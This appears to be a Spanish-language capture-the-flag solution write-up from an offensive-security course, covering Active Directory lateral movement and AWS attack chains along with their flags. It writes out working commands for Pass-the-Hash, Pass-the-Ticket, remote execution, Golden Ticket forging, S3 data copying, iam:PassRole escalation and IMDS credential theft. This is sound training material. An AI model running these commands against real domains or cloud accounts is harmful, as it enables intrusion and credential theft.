Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 19SOLO SOLUCIÓN

Writeup — Lateral AD + AWS

← Volver al capítulo 19

Atención: contiene las 8 respuestas. Inténtalo primero por tu cuenta.
Sobre las salidas. La identificación se verifica en el laboratorio. Los comandos son los reales que usarías contra un AD (GOAD) o una cuenta AWS (CloudGoat); aquí son ilustrativos porque el lab no levanta ni DC ni nube.

Fase 1 [AD] — Pass-the-Hash

★★★

kali@lab
$ nxc smb 10.10.0.15 -u Administrator -H :31d6cfe0d16ae931b73c59d7e0c089c0
impacket-wmiexec -hashes :31d6cfe0...c089c0 ghost.lab/Administrator@10.10.0.15

Respuesta: Pass-the-Hash (PtH). El hash NTLM basta para autenticarse.

Flag: GO{pass_the_hash_sin_conocer_la_clave}

Fase 2 [AD] — Pass-the-Ticket

★★★

kali@lab
$ export KRB5CCNAME=robado.ccache
impacket-wmiexec -k -no-pass ghost.lab/Administrator@dc01.ghost.lab

Respuesta: Pass-the-Ticket (PtT). También válido: Overpass-the-Hash cuando partes del hash para pedir el TGT.

Flag: GO{pass_the_ticket_reutiliza_el_kerberos}

Fase 3 [AD] — Ejecución remota

★★

kali@lab
$ impacket-wmiexec ghost.lab/backupadm:'sunshine26'@10.10.0.15   # WMI
evil-winrm -i 10.10.0.15 -u backupadm -p sunshine26          # WinRM
impacket-psexec ghost.lab/backupadm:'sunshine26'@10.10.0.15  # PsExec (ruidoso)

Respuesta: impacket-wmiexec / evil-winrm / psexec (cualquiera vale).

Flag: GO{ejecucion_remota_wmi_winrm_psexec}

Fase 4 [AD] — Golden Ticket

★★★

kali@lab
$ impacket-ticketer -nthash  -domain-sid S-1-5-21-... -domain ghost.lab Administrator
export KRB5CCNAME=Administrator.ccache ; impacket-wmiexec -k -no-pass ghost.lab/Administrator@dc01

Respuesta: Golden Ticket. Con el hash de krbtgt se forjan TGT válidos para cualquiera; solo se corta rotando krbtgt dos veces.

Flag: GO{golden_ticket_con_el_hash_de_krbtgt}

Fase 5 [AWS] — ¿Quién soy?

★

kali@lab
$ aws sts get-caller-identity
{{
  "Account": "123456789012",
  "Arn": "arn:aws:iam::123456789012:user/deploy"
}}

Respuesta: aws sts get-caller-identity.

Flag: GO{get_caller_identity_quien_soy_en_aws}

Fase 6 [AWS] — Bucket S3 expuesto

★★

kali@lab
$ aws s3 ls s3://ghostcorp-backups
aws s3 cp s3://ghostcorp-backups/dump.sql .   # exfiltrar

Respuesta: el servicio S3 (aws s3 ls / cp).

Flag: GO{el_bucket_s3_estaba_expuesto}

Fase 7 [AWS] — Privesc por IAM

★★★

Tu usuario puede pasar un rol privilegiado a un recurso que controlas (Lambda/EC2) y heredar sus permisos:

kali@lab
$ aws iam list-roles   # localizar un rol admin
# lanzar una Lambda/EC2 con --role ese-rol-admin  (requiere iam:PassRole)
# Pacu automatiza esta y otras vias

Respuesta: escalada por iam:PassRole.

Flag: GO{iam_privesc_por_passrole}

Fase 8 [AWS] — Robo por metadata (IMDS)

★★★

Con un SSRF en una app en EC2, se piden al IMDS las credenciales temporales del rol de la instancia:

kali@lab
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-role
# -> AccessKeyId / SecretAccessKey / Token  ->  configurarlas y actuar como el rol

Respuesta: el metadata/IMDS (169.254.169.254). Mitigación: IMDSv2.

Flag: GO{credenciales_robadas_del_metadata_imds}

Las dos cadenas

AD: secretsdump (módulo 18) → con un hash haces Pass-the-Hash a otro equipo → robas un ticket y haces Pass-the-Ticket → ejecutas en remoto (wmiexec/evil-winrm) → con el hash de krbtgt forjas un Golden Ticket = control persistente del dominio.

AWS: consigues unas claves (o credenciales del IMDS vía SSRF) → get-caller-identity para saber quién eres → enumeras S3 e IAM → escalas por iam:PassRole → administrador de la cuenta.

Resumen

#ÁreaTécnica
1ADPass-the-Hash
2ADPass-the-Ticket / Overpass-the-Hash
3ADEjecución remota (WMI/WinRM/PsExec)
4ADGolden Ticket
5AWSsts get-caller-identity
6AWSS3 expuesto
7AWSPrivesc iam:PassRole
8AWSRobo por IMDS/SSRF